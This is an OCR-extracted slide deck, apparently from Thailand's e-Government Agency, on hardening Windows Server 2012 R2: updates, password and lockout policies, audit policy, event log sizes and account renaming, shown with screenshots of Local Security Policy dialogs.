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Microsoft Windows Server 2012 Hardening

® Account Policies
® Audit Policy
® Security Options

®* Windows Components
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What does this mean for you? Microsoft will no longer issue security updates for any
version of Windows Server 2003. If you are still running Windows Server 2003 in your
datacenter, you need to take steps now to plan and execute a migration strategy to
protect your infrastructure. By migrating to Windows Server 2012 R2, Microsoft
Azure or Office 365, you can achieve concrete benefits, including improved
performance, reduced maintenance requirements, and increased agility and speed
of response to the business.
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Get started with the Migration Planning Assistant >

Read the IDC white paper: Why You Should Get Current 4
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Server 2012 R2
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Member Server

® AD Certificate Services

®* DHCP Server

® DNS Server

® File Server

®* Hyper-V

® Network Policy and Access Services
® Print Server

® Remote Access Services

® Remote Desktop Services

®* Web Server
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Windows Update

T | » Control Panel » Systern and Security » Windows Update v G‘ ‘ Search Control Panel e |

Control Panel Home

Windows Update

Check for updates
Change settings
. . Checking for updates...
View update history
LN —

Restore hidden updates

Muost recent check for updates:  Today at 831 PM
Updates were installed: 5/20/2015 at 11:51 AM.
You receive updates: Managed by your system administrator
Check online for updates from Windows Update

See alzo

Installed Updates

@Y Updates are available A X
Go to Windows Update to install the updates now,

e




Windows Update
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Check for update

5
Change settings ’

View update history

Restore hidden updates

See also

Installed Updates

3 Windows Update
(—)\ A |E} ¥ Control Panel » System and Security » Windows Update v C;| | Search Control Panel 2 ‘
(7
Contrel Panel Home .
Windows Update

2 You're set to automatically download updates
J@ Mo updates are available,

Mast recent check for updates:  Today at 6:32 PM

Updates were installed:
You receive updates:

5/20/2015 at 11:51 AM.
Managed by your system administrater
Check online for updates from Windows Update
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Download updates but let me choose whether to install them

e Change settings — | = -

(-I * ¢ ‘Zﬁ?« Systern and Security » Windows Update » Change settings v &

| Search Control Panel 2 |

L)

Choose your Windows Update settings
) Some settings are managed by your system administrator, More information.

When your PC is onling, Windows can automatically check for important updates and install them using these
settings, When new updates are available, you can also choose to install thern when you shut down your PC,

Important updates

Download updates but let me choose whether to install them v
Install updates automatically (recommended)

Download updates but let me choose whether to install them a metered
Check for updates but let me choose whether to download and install themn

Recommended updates

Give me recommended updates the same way | receive important updates
Microsoft Update

[] Give me updates for ather Microsoft products when | update Windows

Mote: Windows Update might update itself automatically first when checking for other updates. Read our -

Ok | | Cancel
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g Select updates to install
:(—:I * P |« Windows Update » Select updates to install v O | Search Control Panel P |
Select the updates you want to install
Name B Size “ Cumulative Security Update for
Windows Server 20012 R2 (117) ﬂ- Internet Explorer 11 for Windows
1 rtant (11
mportant (117) Cumulative Security Update for Internet Explorer 11...  33.8 MB = R
Optional (110) Security Update for Microsoft [NET Framework 4.5.... 1.2 MB A security issue has been identified
. . in a Microsoft software product
Security Update for Microsoft JMET Framework 4.5...  13.2 MB that could affect your system. You
Security Update for Microsoft MET Framework 4.5... 24 ME can help protect your system by
Security Update for Microsoft .NET Framework 4.5... 587 KB installing this update from
. i Microsoft. For a complete listing of
Security Update for Microsoft MET Framework 4.5... 43 ME the issues that are included in thic
Security Update for Microsoft NET Framework 4.5... 38 KB update, see the associated
Security Update for Microsoft MET Framework 4.5... 628 ME Micrﬂ-soft.l(nowlec!ge Base article.
Security Update for Microsoft NET Framework 4.5...  7E0KE J:‘::;r::;uel:;traettghé;iﬁ as;E;tZ:nu
Security Update for Microsoft MET Framework 4.5... 1.1 ME .
_ _ Fublished: 3/9/2016
Security Update for Microsoft MET Framework 4.5... 62 MEB
. . e fou may need to restart your
Security Update for Microsoft \NET Framework 4.5.... 6.6 MB IOI PC sfter installing this
Security Update for Windows Server 2012 R2 (KB295... 1.2 MEB = update.
Security Update for Windows Server 2012 R2 (KB297... 4.1 ME =
Security Update for Windows Server 2012 R2 (KB297... 2.8 MB R
Security Update for Windows Server 2012 R2 (KB297... 34 ME More information
Security Update for Windows Server 2012 R2 (KB297... 464 KB Support information
Security Update for Windows Server 2012 R2 (KBE2%9... 3.2 ME
Security Update for Windows Server 2012 R2 (KB299... 2.2 MEB >

Total selected: 117 important updates (1,316.7 ME]) | Install | | Cancel
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Windows Update

53 Windows Update =B -

r’«:-:I = 7 |E » Control Panel » Systemn and Security » Windows Update v O Search Control Panel P |

[ 2]

Control Panel Home

Windows Update

Check for updates
Change settings

View update history '_: Downloading updates...

Restore hidden updates

Downloading 117 updates (1,316.7 MB total, 13% complete)

| Stop download

Most recent check for updates:  Today at 2:24 PM
Updates were installed: Mewver
You receive updates: For Windows only.
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Security Settings

Account Policies
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Local Security Policy

| Account Policies
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N2 Administrative Tools -0 -
Home Share Wiew v @
T b Control Panel » Systern and Security » Administrative Tools » v O Search Administrative Tools 2
'r Favorites Mame B Date modified Type Size Rl
B Desktop . Terminal Services B/22/2013 B:39 AM  File folder
4 Downloads (#1+ Component Services 8/21/2013 11:57 PM  Shortcut 2 KB
| Recent places Er.' Computer Management 8/21/201311:54 PM - Shortcut 2KB
E‘E Defragment and Optimize Drives 8/21/201311:47 PM  Shortcut 2 KB
1M This PC {all Event Viewer 8/21/2013 11:55 PM  Shortcut 2 KB =
EI= i itia 8/21/201311:57 PM Shortcut 2 KB
ih Metwork 872172013 11:54 PM  Shortcut 2KE
(AP ErvIC T23/2014 %02 PM Shortcut 2 KB
ODBC Data Sources (32-bi 2/21/2013 4:36 PM Shortcut 2 KB
ODBC Data Sources (84-hit) 8/21/201311:59 PM  Shortcut 2 KB —
@ Performance Monitor 82123 11:52 PM Shortcut 2 KB
@ Resource Monitor 82123 11:52 PM Shortcut 2 KB
|:;|g, Security Configuration Wizard B21/201311:45 PM Shortout 2 KB
@ Server Manager 212013 11:55 PM Shorteut 2 KB
5 Run W 8/N201311:34 PM - Shortcut 2KB
8/21/213 11:33 PM Shortcut 2KB V
=7 Typethe name of a pragram, folder, decument, or Internet == =]

rescurce, and Windows will open it for you.

Open: | secpol.msc v

Local Security Policy

QK Cancel Browse...
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) Local Security Policy - o x|

File Action ‘u"iew
@ = X =

h SecuribeSetiing Mame Descripticn
& Account Policies Password and account lockout policies
& Local Policies Auditing, user rights and security options polici..
. dvanced Sec|| 7 Windows Firewall with Advanced Security  Windows Firewall with Advanced Security
| Metwork List Manager Polici | Metwork List Manager Policies Metweork name, icon and location group pelicies,

| Public Key Policies
| Software Restriction Policies

| Public Key Policies
= poolication C | Polici | Software Restriction Policies
| AP |cat.||:|r1 ':.'n.tm cleies | Application Control Policies Application Control Pelicies
[+ g IP Security Pelicies on Local Compute ) . )
- ) i } ) Internet Protocol Security (IPsec) Administratio...
| Advanced Audit Policy Configuration ] ] ] )
Advanced Audit Policy Coenfiguration

O

Account Policy

£ m >




THAILAND

3 Local Security Policy - | O -

File Action View Help

e [E X =

HE &7
= Q%/;

i Security Settings Policy - Security Setting
4@ A Pofre: 1| Enforce password history 0 passwords remembered
L) Maximum password age 42 days
1 5] Minimum password age 0 days
I —!ﬁ Local Policies 5] Minimum passwoerd length 0 characters
t ;I Windows Firewall with Advanced l5) Password must meet complexity requirements Enabled
[ Network List Manager Policies l15) Store passwords using reversible encryption Disabled

[ "] Public Key Policies

[ Software Restriction Policies

[ 7] Application Control Policies

,g IP Security Policies on Lecal Compute
[ Advanced Audit Policy Configuration

VO

Password Policy




G Account Policies

Password Policies

Set 'Minimum password length' to '14 or more character(s)’

Set 'Enforce password history' to '24 or more password(s)’

Set 'Password must meet complexity requirements' to 'Enabled’
Set 'Store passwords using reversible encryption' to 'Disabled’
Set 'Minimum password age' to '1 or more day(s)’

Set 'Maximum password age' to '60 or fewer days'
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Password Policies

3 Local Security Policy
File Action View Help

PR :"____':1_|x.5=€‘ ﬂﬁ“’ /\

::5 Security Settings Policy
4 _g Account Policies
a Password Policy
_a Account Lockout Policy

g Local Policies

| Windows Firewall with Advanded Seci
| Network List Manager Policies
b | Public Key Policies
b | Software Restriction Policies
b | Application Control Policies
E
[

| Enforce password history

;, Maximum password age

24| Minimum password age

_

;| Minimum password length

-

| Store passwords using reversible encryption

B, 1P Security Policies on Local Compute
| Advanced Audit Policy Configuration

42 days

; Password must meet complexity requirements

Securnty Setting
0 passwords remembered

0 days

0 characters
Enabled
Disabled




Q Account Policies

Password Policies

Set 'Enforce password history' to '24 or more password(s)’

THAILAND

3 Local Security Policy

File Action View Help

e 2@ X:= Hm

_-fg Security Settings _Policy— i ;

48 Alccuunt Policies < | Enforce password history E@‘
a4 Password Policy . Maamump

_a Account Lockout Policy

4 Local Policies
| Windows Firewall with Advanced Seci
| Network List Manager Policies

| Public Key Policies
| Software Restriction Policies

~| Application Control Policies
B, 1P Security Policies on Local Compute
| Advanced Audit Policy Configuration

24| Minimum password age
;| Minimum password length

21, Password must meet complexity requirements
| Store passwords using reversible encryption

0 days

0 characters
Enabled
Disabled




g Account Policies

Password Policies
Set 'Enforce password history’' to '24 or more password(s)’

1

2qwerty! @#51234
3.loik,mjuy093455
4sdlkjoijdcpwokpo
Slkjsdcijijpowek][;

23/ k[pk[pxI[p[ap
24. . wefiOk[pk[ke[=
25
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Password Policies

Set 'Enforce password history' to '24 or more password(s)’

& Local Security Policy =N IC I
File Action View Help

e HE XE =

T Security Settings Policy “ Security Setting
4 [ Account Policies ['i] Enforce password history 0 passwords remembered
2 Password Palicy | Maximurmn passwerd age 42 days - -
= . Enforce password history Properties
L& Account Lockout Policy | Minimum password age 0 days pa v pe
Plg Lo.cal PD|ICI.ES _ | Minirmurm password length 0characters| | Local Securty Setting | Bxplain
b - Windows lj'|rewall with Ad.\fa.nced Sec | Password must meet complexity requirements Enabled _
- Netm_mrk List I'M.’Ia.nager Policies | Store passwords using reversible encryption Disabled W Enforce password history
[» || Public Key Policies
b || Software Restriction Policies
|| Application Control Policies
pplication Con —
> g IP Security Policies on Local Compute )
i . . . ) Keep password history for:
I+ || Advanced Audit Policy Cenfiguration =
24 + | passwords remembered
\\

oK || Cancel || Aty |




g Account Policies

Password Policies

Set 'Minimum password age'to '1 or more day(s)’

Set 'Maximum password age' to '60 or fewer days'

‘ 1 day ‘ 59 day ‘ 60 day ‘
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Password Policies

Set 'Maximum password age' to '60 or fewer days'

A Local Security Policy - |0 X
Action  View Help

T Security Settings Policy - Security Setting

A 2| Account Policies w dupacgyords remember..,
5, Passward Policy <- 1| Maxirmum password age 4*”& 1 ]
= - T Maximum password age Properties
2 Account Lockout Policy | Minimur passeTtey Udays i 2 s

I 4 Local Policies

| Minimum password length 0 characters Local Security Setting =
I ] Windows Firewall with Advanced Sec Explain

. . o | Password must meet complexity requirements Enabled _
- Network List Manager Policies | Store passwords using reversible encryption Disabled j. Mazdmum password age
I || Public Key Policies *
I || Software Restriction Pelicies
- || Application Control Policies
I oy P Security Policies on Local Compute . o
I gi Ad\rance?Audit Policy Configurafion Password wil expire in:

OK || cancel || Apply |
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Password Policies

Set 'Minimum password age'to '1 or more day(s)’

& Local Security Policy = &) 2
File Action View Help

e Hm XE =

T Security Settings Policy “ Security Setting
4[4 Account Policies | Enforce password history 24 passwords remember...
& Password Policy R 0E oien . _
j Account Lockout Palicy Q| Minimum password agge 0 days > Minimum password age Properties
b i Local Policies oy —— ST | | Local Secuty Seting | B |
4 — Windows Firewall with Advanced Sec | Password must meet complexity requirements Enabled
.—_ Network List Manager Policies | Store passwords using reversible encryption Disabled j. Mirimum password age
I | Public Key Policies

I | Software Restriction Policies
I [ | Application Control Policies
[ g IP Security Policies on Local Compute
I [ ] Advanced Audit Policy Cenfiguration

Password can be changed after:

1 . days

oK || Caneel || Aepy |
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Password Policies

Set 'Minimum password length'to '14 or more character(s)’

& Local Security Policy = |[=] =

| File | Action View Help

ez 2[E XE 2 H
Fh Security Settings Policy - Security Setting
A f_!. Account Policies | Enforce password history 24 passwords remember...
4 Password Policy | Maximum password age 60 days P P
& Account Lockout Policy L Minimum password length Properties

I [4 Local Policies & Minimum d lenath D —|—|
- Nl ) characterg Local Security Setting |
- || Windows Firewall with Advanced Seci e —— - . Etir

| Passwora T + +

- T » 4 Enabled
_ Network List Manager Policies

[+ || Public Key Policies

- || Software Restriction Policies

[+ || Application Centrol Pelicies

I B IP Security Policies on Local Compute

[ gi Advanced Audit Pelicy Configuration Password must be at least:

14 - characters

| Store passwords using reversible encryption Disabled j. Minimum password length

oK || cancel || Aeply




&; Account Policies 0;%/:

Password Policies

Set 'Minimum password length'to '14 or more character(s)’

CHANGE PASSWORD

Old password

New password  password should have less than
15 characters

Repeat new password

SUBMIT €




&; Account Policies

Password Policies

EX : Set 'Minimum password length'to '14 or more character(s)’

https://howsecureismypassword.net/

HOW SECURE IS MY PASSWORD?

[t would take a desktop PC about
6 million years

to crack your password

[Tweet Resuli]



https://howsecureismypassword.net/
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Password Policies

Set 'Password must meet complexity requirements' to 'Enabled’

& Local Security Policy -[8] X
File Action View Help

e 2nE XE =

3 Security Settings Policy “ Security Setting
El g. Account Policies | Enforce password history 24 passwords remember..,

5 Password Policy | Maximum password age &0 days - =

2 Account Lockout Policy Wi sasswmd aje 1 da;: Password must meet complexity requirements Pro...
b 2! Local Policies | Minimum passsecdlsaat 14 characters m
b — Windows Firewall with Advanced % Lo Password must meet complexity requirements Enabled\—’

'_. Metwork List Manager Policies | Store pasowords TeTg TETETOTE I Dicabled j. Password must mest complexity requirements

[+ || Public Key Policies ke
I+ || Software Restriction Policies
I || Application Control Pelicies
- B IP Security Policies on Local Computg (®) Enabled
B || Advanced Audit Policy Configuration () Disabled

oK | | Cancel Apply




&; Account Policies

Password Policies

Set 'Password must meet complexity requirements' to 'Enabled’

English uppercase characters (A through Z)
English lowercase characters (a through z)

Base 10 digits (0 through 9)

Non-alphabetic characters (for example, |, S, #, %)

‘kov]l,soj;p’kodk8iy{

mu@mwmmmmﬂ‘fg
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Password Policies

Set 'Store passwords using reversible encryption’ to 'Disabled’

& Local Security Policy = [ =B 2
File Action View Help
=
Th Security Settings Policy - Security Setting
4[4 Account Policies | Enforce password history 24 passwords remember...
‘a Password Poli i
z Account Lo ckzt Policy m?:::uu:: s:::z: :gg: ‘IEDd::-::S Store passwords using reversible encryption Prop...

4 2! Local Policies | Minimum password length 14 characters Local Security Setting | Explain
B Windows Firewall with Advanced Sec . .

- ) - | Password mustcaset ke s Enabled _
- Net\-\j'ork List Ma.nager Policies <'fmepasswords using reversible encryption Dm, W Store passwords using reversible encryption
_| Public Key Policies N— | =

3

B || Software Restriction Policies
|| Application Control Policies
[
3

@ IP Security Policies on Local Compute

() Enabled
| Advanced Audit Policy Configuration

(@) Disabled

oK | | Cancel Apply




&; Account Policies

Password Policies

THAILAND

Set 'Store passwords using reversible encryption' to 'Disabled’
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&; Account Policies

Account Lockout Policy

Set 'Account lockout threshold' to '5 invalid logon attempt(s)'
Set 'Account lockout duration' to '15 or more minute(s)'

Set 'Reset account lockout counter after' to '15 minute(s)'




&’; Account Policies

Account Lockout Policy

~~—EGA

} e-Government Agenc

THAILAND

3 Local Security Policy
File Action View Help
HE = HE
o= 2= = H L — —

i Security Settings
4 g Account Policies
‘4 Password Policy

< & Account Lockout Policy >
b [ Loca =

L Windows Firewall with Advanced Sec
| Metwork List Manager Policies

| Public Key Policies

| Software Restriction Policies

| Application Control Policies

[ g IP Security Policies on Local Compute
B || Advanced Audit Policy Configuration

v

o] Account lockout duration
| Account lockout threshold
| Loie] Reset account lockout counter after

Security Setting
Mot Applicable
Dinvalid loegon attempts
Mot Applicable




@ Account Policies

Account Lockout Policy

Set 'Account lockout threshold' to '5 invalid logon attempt(s)’

e 9

Brute Force Attack

I P
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Account Policies %;/— JrL EGA

Account Lockout Policy

Set 'Account lockout threshold' to '5 invalid logon attempt(s)’

& Local Security Policy — ||
File Action View Help

A . Account lockout threshold Properties
e« 2 XEE

T Security Settings Policy “ Security Setting Local Security Setting | Explain

4 [ Account Policies %) Account logkeut duration Mot Applicable = Account lockout threshold
1 Password Policy <[l Account lockout threshold Oinvalid logon a@ S |
& Account Lockout Policy % Reset account Tockout counter atter Mot Applicable

b 4 Local Policies

B | Windows Firewall with Advanced Secr
| Metwork List Manager Policies

Account will lock out after:

5 : invalid logon attempts

b || Public Key Policies

| Software Restriction Policies

b [ | Application Control Policies

b g IP Security Policies on Local Compute
b || Advanced Audit Policy Configuration

< m > OK || Cancsl || Apply |




&; Account Policies

Account Lockout Policy

Set 'Account lockout duration'to '15 or more minute(s)’

Login 5 attempt

Administrator

* ‘0’ Administrator unlock manually
http://www.cisecurity.org/
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Account Lockout Policy

Set 'Account lockout duration'to '15 or more minute(s)’

B Local Security Policy ==

File Action View Help
e nE XE =

S Security Settings

Account lockout duration Properties

W - Security Setting Local Security Setting Explain

4 [ 4 Account Pelicies 1) Account lockout duration 30 minutes E Account lockout duration
5 Password Policy 125 Account lockout threshold 5invalid logon atternpts EQ¥
5 Account Lockout Policy 1%;) Reset account lockout counter after 30 minutes

i [ 4 Local Policies ~\
b [ Windows Firewall with Advanced Sec

| Metwork List Manager Policies

Account is locked out for:

14 - minutes

I [ Public Key Policies

B | Software Restriction Policies

I || Application Control Policies

[+ g IP Security Policies on Local Compute
b ] Advanced Audit Policy Configuration

< m > OK || Cancel || Apply |

* ‘0’ Administrator unlock manually



&; Account Policies RSN

AAAAAAAA

Account Lockout Policy

Set 'Reset account lockout counter after' to '15 minute(s)’

.

l Unlock

Administrator
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‘ vl Administrator Tools

J_

Local Security Policy

& - 'LocaISecurit Policies
8L Y
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& Local Security Policies M

Advanced Audit Policy Configuration

Y Local Security Policy -l x|

File | Action  View Help
e« 2E XK=

L= =

—

=V

)

b

7 Local Policies

| Metwork List Manager Policies
| Public Key Policies

| Software Restriction Policies

| Application Control Policies

: Tlicy

1 User Rights Assignment
& Security Options
Windows Firewall with Advanced Seo

IP Security Policies on Local Compute
Advanced Audit Policy Configuration

i >

5 Security Settings | Nams— = Blescription

4 g Account Policies (& Audit Policy Audit Polic
- . T —— i .
5, Password Policy A User RigiTtefetgmrrent Eer Rights Assignment
: Lockout Policy 4 Security Options Security Opticns




& Local Security Policies .o~ —EGA
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Advanced Audit Policy Configuration

Set 'Audit Policy: Account Logon: Credential Validation' to 'Success and Failure’
Set 'Audit Policy: Account Logon: Kerberos Authentication Service' to 'No Auditing’

Set 'Audit Policy: Account Logon: Kerberos Service Ticket Operations’ to 'No Auditing’
Set 'Audit Policy: Account Logon: Other Account Logon Events' to 'No Auditing'

Set 'Audit Policy: Account Management: Application Group Management' to 'No
Auditing'
Configure 'Audit Policy: Account Management: Computer Account Management’
Success
Set 'Audit Policy: Account Management: Distribution Group Management' to 'No
Auditing'
Set 'Audit Policy: Account Management: Other Account Management Events' to
'Success and Failure’

Set 'Audit Policy: Account Management: Security Group Management' to 'Success
and Failure’




| . Local Security Policies = A
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Advanced Audit Policy Configuration

Set 'Audit Policy: Account Management: User Account Management' to 'Success and
Failure'

Set 'Audit Policy: Detailed Tracking: DPAPI Activity' to 'No Auditing'
Set 'Audit Policy: Detailed Tracking: Process Creation’ to 'Success’
Set 'Audit Policy: Detailed Tracking: Process Termination' to 'No Auditing'

Set 'Audit Policy: Detailed Tracking: RPC Events' to 'No Auditing’
Set 'Audit Policy: Logon-Logoff: Account Lockout' to 'No Auditing'

Set 'Audit Policy: Logon-Logoff: IPsec Extended Mode' to 'No Auditing'
Set 'Audit Policy: Logon-Logoff: IPsec Main Mode' to 'No Auditing’

Set 'Audit Policy: Logon-Logoff: IPsec Quick Mode' to 'No Auditing'




| . Local Security Policies = A
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Advanced Audit Policy Configuration

Set 'Audit Policy: Logon-Logoff: Logoff' to 'Success’
Set 'Audit Policy: Logon-Logoff: Logon'to 'Success and Failure *

Set 'Audit Policy: Logon-Logoff: Network Policy Server' to 'No Auditing'
Set 'Audit Policy: Account Logon: Other Account Logon Events' to 'No Auditing'

Set 'Audit Policy: Logon-Logoff: Other Logon/Logoff Events' to 'No Auditing'
Set 'Audit Policy: Logon-Logoff: Special Logon' to 'Success'
Set 'Audit Policy: Object Access: Application Generated' to 'No Auditing’

Set 'Audit Policy: Object Access: Central Access Policy Staging' to 'No Auditing'

Set 'Audit Policy: Object Access: Certification Services' to 'No Auditing'




& Local Security Policies =S °’f¥
Advanced Audit Policy Configuration

Set 'Audit Policy: Privilege Use: Other Privilege Use Events' to 'No Auditing'
Set 'Audit Policy: Privilege Use: Sensitive Privilege Use' to 'Success and Failure'

Set 'Audit Policy: Policy Change: Audit Policy Change' to 'Success and Failure’

Set 'Audit Policy: System: IPsec Driver' to 'Success and Failure'

Set 'Audit Policy: System: Other System Events' to 'No Auditing'
Set 'Audit Policy: System: Security State Change' to 'Success and Failure’

Set 'Audit Policy: System: Security System Extension' to 'Success and Failure'

Set 'Audit Policy: System: System Integrity' to 'Success and Failure'




=+ Local Security Policies —— /_L
Advanced Audit Policy Configuration

Control Panel\System and Security\Administrative Tools\Local Security Policy

_ﬁ Security Settings Policy Security Setting
5 Account F"?'“':ies' D.ﬁudit account logon events Mo auditing
v LA L_I?'cal P':.'IICIEE_' Dhudit account management Mo auditing
g, AUdItFG“q _ D.ﬂuudit directory service access Mo auditing
g, et F.{IghtE %smgnment D,ﬂludit logon events Mo auditing
g security Options T ..
| Windows Firewall with Advanced Sec DAUdIch-IECta“EEE Mo auditing
| Metwork List Manager Policies D.ﬁuditpnlicychange No auditing
“| Public Key Policies Dhudit privilege use Mo auditing
“| Software Restriction Pelicies D.ﬂuudit process tracking Mo auditing
| Application Control Policies L] Audit system events No auditing
g IP Security Policies on Local Compute
~| Advanced Audit Policy Configuration




=+ Local Security Policies —— A_
Advanced Audit Policy Configuration

Control Panel\System and Security\Administrative Tools\Local Security Policy

H Local Security Policy = I:'-
File Action View Help

ez =2 EE / \

T Security Settings M * Security Setting

t- 4 Account Policies | Audit account logon events Success, Failure
4 [ g LocalDolicie | Audit account management Success, Failure
En Audit Policy | Audit directory service access Success, Failure
b Lg 55|gr1rr1er1t | Audit logon events Success, Failure
[}_ 4 Security Options | Audit object access Success, Failure

o Windows Firewall with Advared Seo . . .
; ] o | Audit policy change Success, Failure

| Metwork List Manager Policies L i
| Audit privilege use Success, Failure

b || Public Key Policies

B || Software Restriction Policies

B[] Application Control Policies

B ,g IP Security Policies on Local Compute
B | Advanced Audit Policy Configuration

| Audit process tracking Success, Failure

| Audit system events Success, Failure




THAILAND

Event Log (Event Viewer)

Control Panel\System and Security\Administrative Tools

I E B - Shortcut Toals Administrative Tools - |o]
Home Share View Manage v o
T ¥ Control Panel » Systern and Security » Administrative Tools v O | Search Adrninistrative Tools P |
X Favorites Mame B Date modified Type Size -
B Desktop J Terminal Services 8/22/2013 &39 AM File folder
4. Downloads [al- Component Services B/21/2013 11:57 PM Shortcut ZKB
1] Recent places (@ Computer Management 82172013 11:34 PM  Shortcut 2KB
(s Defragment and Optimize Drives 8/21/201311:47 PM  Shortcut 2KB
1M This PC (#t] Event Viewer 8/21/2013 11:55 PM  Shortcut 2KB =
) 8/21/2013 11:57 PM  Shortcut 2KE
'?ﬂ Metwork @ Local Security Policy 8/21/2013 11:54 PM  Shortcut 2KB
[& Microsoft Azure Services 7/23/2014 %02 PM  Shortcut 2KE
CQODBC Data Sources (32-bit) 8/21/2013 4:56 PM Shortcut 2 KB
ODBC Data Sources (B4-bit) 8212013 1159 PM Shortcut 2KB
ET‘I Performance Monitor 8/21/201311:52 PM - Shortcut 2KB
|E|_‘I Resource Maonitor 8/21/201311:52 PM - Shortcut 2 KB
E’g Security Configuration Wizard 8/21/201311:45 PM - Shortcut 2KE
@l Server Manager 821/201311:55 PM - Shortcut 2KE
[@;: Services 8/21/201311:54 PM Shortcut 2KE
[#d Systern Configuration 82172013 11:53 PM  Shortcut 2 KB i
24items 1 item selected 1.14 KB == =l




B 164.115.35.246 - Remote Desktop Connection

Event Log (Event Viewer)

Set Maximum Log Size (KB)

=X

il

File Action View

Help

9 7[F

{2] Event Viewer (Local)

A # Custom Views

[ ~| Server Roles
W Administrative Events

A i'.' Windows Logs
f5] Application

Security

Keywords
4, Audit Success

'a\.‘hudit Success

%Audit Success

[

fs| Secur

] Setup

=] Syste

5] Forws

[+ Ehpplicati
:_-'1 Subscript

Open Saved Log...
Create Custom View...

Import Custom Yiew...

Clear Log...

Save All Events As...
Attach a Task To this Log...

View 3
Refresh
Help 3

Mumber of events: 35,276 (1) Mew events available

Date and Time

6/3/2015 11:21:42 PM
6/3/2015 11:21:42 PM
£/3/2015 11:21:42 PM
£/3/2015 11:21:42 PM
£/3/2015 11:21:41 PM
6/3/2015 11:21:40 PM
£/3/2015 11:21:39 PM
6/3/2015 11:21:39 PM
£/3/2015 11:21:39 PM
6/3/2015 11:21:38 PM
£/3/2015 11:21:37 PM
£/3/2015 11:21:36 PM
£/3/2015 11:21:36 PM
£/3/2015 11:21:36 PM
£/3/2015 11:21:35 PM
£/3/2015 11:21:35 PM

6/3/2015 11:21:35 PM
/22015 11:21:25 PhA

Windows security auditing.
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Set 'Security: Maximum Log Size (KB)' to 'Enabled:196608 or greater' (Scored)

Event Log (Event Viewer)

Log Properties - Security (Type: Administrative) -
Full Mame: Security
Log path: %SystemRoot %\ System 32\ Winevt\Logs\Security.evix
Log size: 20,00 MB(20,975,616 bytes)
Created: Wednesday, May 20, 2015 3:41:47 PM
Modified: Wednesday, June 3, 2015 10:34:05 PM
Accessed: Wednesday, May 20, 2015 3:41:47 PM

Enable logging

Maximum log size (KB J: 196608 :
When maximum event log size :

() Owerwrite events as needed (oldest events first)

@Archive the log when full, do not ovenwrite events

() Do not overwrite events [ Clear logs manually

| Clear Log |

Ok | | Cancel | | Apply |
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Set 'System: Maximum Log Size (KB)' to 'Enabled:32768 or greater' (Scored)

Event Log (Event Viewer)

Log Properties - System (Type: Administrative) -
Full Mame: System
Log path: |%S}rstem Root%:\System32\Winevt\Logs\System. evix
Log size: 1.07 MB(1,118,208 bytes)
Created: Wednesday, May 20, 2015 3:41:47 PM
Maodified: Tuesday, June 2, 2015 &:08:59 PM
Accessed: Wednesday, May 20, 2015 3:41:47 PM

Enable logging
Maximurmn log size (KB ): g 32?D
When maximum event log size ed:

() Owerwrite events as needed (oldest events first)

'/@}Archive the log when full, do not overwrite events

() Donoto TTEEreEme e IEar Togs manually )

| Clear Log |

OK | | Cancel | | Apply |
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Set 'Application: Maximum Log Size (KB)' to 'Enabled:32768 or greater' (Scored)

Event Log (Event Viewer)

Log Properties - Application (Type: Administrative) -
Full Mame: Application
Log path: |%S}rstem Root%\System32\WinevtiLogs\Application.evtx
Log size: 1.07 MEB(1,118,208 bytes)
Created: Wednesday, May 20, 2015 2:41:47 PM
Modified: Tuesday, June 2, 2015 8:08:59 PM
Accessed: Wednesday, May 20, 2015 3:41:47 PM

Enable logging

Maximum log size(KBj:( 3@
When maximum event log siZes ed:

() Owerwrite events gs needed (oldest events first)

® Archive the log when full, do not overwrite events

= manually ]

| Clear Log |

OK | | Cancel | | Apply |




[ e-Government Agency |
AAAAAAAA

Event Log (Event Viewer)

Summery
Gt | Logsine (Ke)
Security Log 196,608
System Log 32,768
Application Log 32,768

Minimum log file size 1 MB

Maximum log file size 2 TB (2147483647 KB)
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Security Options

Control Panel\System and Security\Administrative Tools\Local Security Policy

A Local Security Policy
File Action View Help

o HE XK=

T Security Settings Policy “ Security Setting
[ g Account Policies | Accounts: Administrator account status Enabled
4 g Local Policies | Accounts: Block Microsoft accounts Mot Defined

I 5 Audit Policy | Accounts: Guest account status Disabled

i - se-Bightsfezignment | Accounts: Limit local account use of blank passwords to co..  Enabled

| Accounts: Rename administrator account Admin_Cloud

b — rs-Frewall with Advanced Sec | Accounts: Rename guest account Guest_Cloud

- Metwork List Manager Policies At Aodit the arrace of alahal cectar nhicrke Micahlad
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Security Options

Configure 'Accounts: Rename administrator account'

Administrator

.

Switch User
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Security Options

Configure 'Accounts: Rename administrator account’

1 Local Security Policy ==
File Action View Help Accounts: Re dministrat £p i
& $ ;'_. x D B un name administrator acCount Fropertr..
T Security Settings Policy - Security Setting Local Securty Setting | Bxplain
4[4 Account Policies 1) Accounts: Administrator account status — Enabled Accounts: Rename administrator account
4 Password Policy 12 Accounts: Block Microsoft accounts Mot Defined H |,
. 2 Account Lockout Policy 1] Accounts: Guest account status Disabled
4 |4 Local Policies [ -
5 Auditlf’olicy <: 1y Accounts: Rename administrater accou., admin_cloud |
b S e 1| Accounts: T Luest
1| Audit: Audit the access of global syste...  Disabled
b - mneew . Rall e . ced Sec 1| Audit: Audit the use of Backup and Res... Disabled
- Netu\.:orkLlst Nl'lalnager Policies 1| Audit: Force audit policy subcategory 5. Mot Defined
I- || Public Key Policies o i : o
b 7 Software Restriction Policies 17| Audit: Shut down system immediately i... Disabled
b | Application Control Policies 1o DCOM: Machine Access Restrictions in ... Mot Defined
b g IP Security Policies on Local Compute| DCOM: Machine Launch Restrictions in... Mot Defined
b ] Advanced Audit Policy Configuration|| 2 Devices: Allow undock without having ... Enabled
17| Devices: Allowed to format and eject re... Mot Defined
11y| Devices: Prevent users from installing p... Enabled
12s| Devices: Restrict CD-ROM access to loc... Mot Defined
17y| Devices: Restrict floppy access to locall... Mot Defined
1) Dornain controller: Allow server operat... Mot Defined
1) Dornain controller: LDAP server signing.. Mot Defined
12 Domain controller; Refuse machine acc... Mot Defined
17y Dommain member: Digitally encrypt or si.. Enabled
1) Domain member: Digitally encrypt sec..  Enabled N\
< m + ||| [ Domain member: Digitally sign secure .. Enabled w)}!ncd | Apply
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Security Options

Configure 'Accounts: Rename Guest account'

A Local Security Policy = |
File Action View Help

e fE XE =
T Security Settings Policy - Security Setting Local Securty Seting | Bxplain

4 g, Account Policies 1o Accounts: Administrator account status  Enabled

a Password Policy 12y Accounts: Block Microsoft accounts Mot Defined H |
5 Account Lockout Policy

Accounts: Rename guest account Properties

Accounts: Rename quest account

. 1| Accounts: Guest account status Disabled
4 [ g Local Policies 2| Accounts: Limit local account use of bl., Enabled

e TTITES, RENAITIE AOMINISIAor 3CC0 U, aaTT T |Guest_cloud| )
